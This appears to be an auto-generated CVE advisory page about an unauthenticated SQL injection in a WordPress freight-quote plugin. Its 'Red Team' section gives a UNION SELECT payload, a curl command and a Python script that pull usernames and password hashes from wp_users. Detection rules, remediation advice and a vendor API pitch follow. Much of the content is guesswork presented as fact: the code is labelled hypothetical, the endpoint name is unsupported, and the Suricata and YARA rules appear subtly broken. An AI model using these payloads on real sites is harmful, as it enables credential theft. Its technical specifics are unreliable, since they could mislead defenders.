CVE-2024-13473
Executive Summary
CVE-2024-13473 is a critical unauthenticated SQL Injection vulnerability discovered in the LTL Freight Quotes – Worldwide Express Edition WordPress plugin (versions up to and including 5.0.20). The flaw resides in insufficient escaping and lack of prepared statements for the dropship_edit_id and edit_id parameters. An unauthenticated attacker can inject arbitrary SQL queries into existing database queries, leading to the extraction of sensitive information such as user credentials, session tokens, and other confidential data stored in the WordPress database.
This vulnerability is particularly dangerous because it requires no authentication, has a low attack complexity, and can be exploited remotely over the network. The EPSS score of 0.0% indicates that exploitation is not currently widespread, but the lack of a patch makes all sites running the affected plugin versions highly vulnerable.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using this plugin should immediately treat it as a supply chain risk. The plugin is not managed via NPM, PyPI, Go, or Ruby, but its inclusion in a WordPress site introduces a direct attack vector. Security teams must inventory all WordPress instances and verify the plugin version, as no official patch has been released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated exploitation.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
CVSS Score: 7.5 (High) – The high confidentiality impact drives the severity, as attackers can extract sensitive data without any authentication.
Deep Dive & Mechanics
The vulnerability exists in the plugin's handling of the dropship_edit_id and edit_id parameters. These parameters are used in SQL queries without proper sanitization or parameterized queries. The plugin fails to escape user-supplied input and does not use prepared statements, allowing an attacker to inject SQL commands.
Root Cause:
- The plugin uses
$_GET['dropship_edit_id']and$_GET['edit_id']directly in SQL queries. - No input validation or escaping is performed.
- The SQL query is constructed using string concatenation, e.g.,
"SELECT * FROM table WHERE id = " . $_GET['edit_id'].
Attack Vector: An unauthenticated attacker sends a crafted HTTP GET request to a vulnerable endpoint, such as:
/wp-admin/admin-ajax.php?action=some_action&dropship_edit_id=1 UNION SELECT user_login,user_pass FROM wp_users--
The injected SQL can extract usernames and password hashes, session tokens, or any other data from the WordPress database.
Impact:
- Full database compromise (read-only).
- Exposure of user credentials (hashed passwords).
- Potential privilege escalation if combined with other vulnerabilities.
- Data exfiltration leading to further attacks.
Vulnerable vs. Patched Code
Vulnerable Code (<= 5.0.20):
$edit_id = $_GET['edit_id'];
$query = "SELECT * FROM wp_ltl_orders WHERE id = $edit_id";
$result = $wpdb->get_results($query);
Patched Code (Hypothetical):
$edit_id = intval($_GET['edit_id']);
$query = $wpdb->prepare("SELECT * FROM wp_ltl_orders WHERE id = %d", $edit_id);
$result = $wpdb->get_results($query);
The patched version uses intval() to cast the input to an integer and $wpdb->prepare() to parameterize the query, preventing SQL injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version <= 5.0.20).
- Knowledge of the target endpoint (e.g.,
/wp-admin/admin-ajax.php).
Exploitation Steps:
- Identify the vulnerable parameter by fuzzing the plugin's AJAX actions.
- Send a crafted request:
curl "http://target.com/wp-admin/admin-ajax.php?action=ltl_freight_edit&edit_id=1 UNION SELECT user_login,user_pass FROM wp_users--" - Extract data from the response. For example, if the query returns user data, parse the output.
- Use extracted password hashes for offline cracking or further attacks.
Automated Exploit (Python):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
params = {
"action": "ltl_freight_edit",
"edit_id": "1 UNION SELECT user_login,user_pass FROM wp_users--"
}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defensive)
Detection:
- Monitor for unusual GET requests to
/wp-admin/admin-ajax.phpwith parameters containing SQL keywords (UNION, SELECT, FROM, etc.). - Look for anomalies in database query logs (e.g., unexpected UNION statements).
- Use WAF rules to block requests with SQL injection patterns.
Honeypot:
- Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker behavior.
Containment:
- Immediately disable the plugin if no patch is available.
- Restrict access to
/wp-admin/admin-ajax.phpvia IP whitelisting or authentication. - Implement a Web Application Firewall (WAF) with SQL injection signatures.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/wp-admin/admin-ajax.phpwith parameters containing SQL injection patterns (e.g.,UNION,SELECT,--). - Unusual response sizes or error messages containing SQL syntax errors.
File IOCs:
- Modified plugin files (e.g.,
ltl-freight-quotes-worldwide-express-edition.php) with injected backdoors. - Unexpected files in the WordPress uploads directory.
Log IOCs:
- Database error logs showing SQL syntax errors.
- Web server access logs with repeated requests to the vulnerable endpoint.
Example IOC (Sigma Rule):
title: SQL Injection Attempt on LTL Freight Quotes Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the edit_id parameter
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/wp-admin/admin-ajax.php"
cs-uri-query|contains:
- "edit_id="
- "dropship_edit_id="
cs-uri-query|contains|all:
- "UNION"
- "SELECT"
condition: selection
falsepositives:
- Legitimate use of UNION in rare cases
level: high
Detection Engineering
YARA Rule
rule CVE_2024_13473_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts against CVE-2024-13473"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13473"
strings:
$sqli1 = "edit_id=" nocase
$sqli2 = "dropship_edit_id=" nocase
$sqli3 = "UNION" nocase
$sqli4 = "SELECT" nocase
$sqli5 = "FROM" nocase
$sqli6 = "wp_users" nocase
condition:
all of ($sqli1, $sqli2) and 2 of ($sqli3, $sqli4, $sqli5, $sqli6)
}
Sigma Rule
title: CVE-2024-13473 SQL Injection Detection
id: 87654321-4321-4321-4321-210987654321
status: experimental
description: Detects SQL injection attempts against the LTL Freight Quotes plugin
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "edit_id="
- "dropship_edit_id="
cs-uri-query|contains|all:
- "UNION"
- "SELECT"
condition: selection
falsepositives:
- Rare legitimate queries
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13473 SQL Injection Attempt"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"edit_id="; http_uri; content:"UNION"; http_uri; content:"SELECT"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement a WAF with rules to block SQL injection patterns.
- Restrict access to
/wp-admin/admin-ajax.phpvia IP whitelisting or authentication.
Long-Term Fixes:
- Apply the patch when released by the vendor.
- Replace the plugin with an alternative that is actively maintained.
- Conduct a security audit of all WordPress plugins and themes.
Developer Guidance:
- Always use parameterized queries (
$wpdb->prepare()) or prepared statements. - Validate and sanitize all user inputs (e.g.,
intval()for numeric fields). - Implement least privilege for database users.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.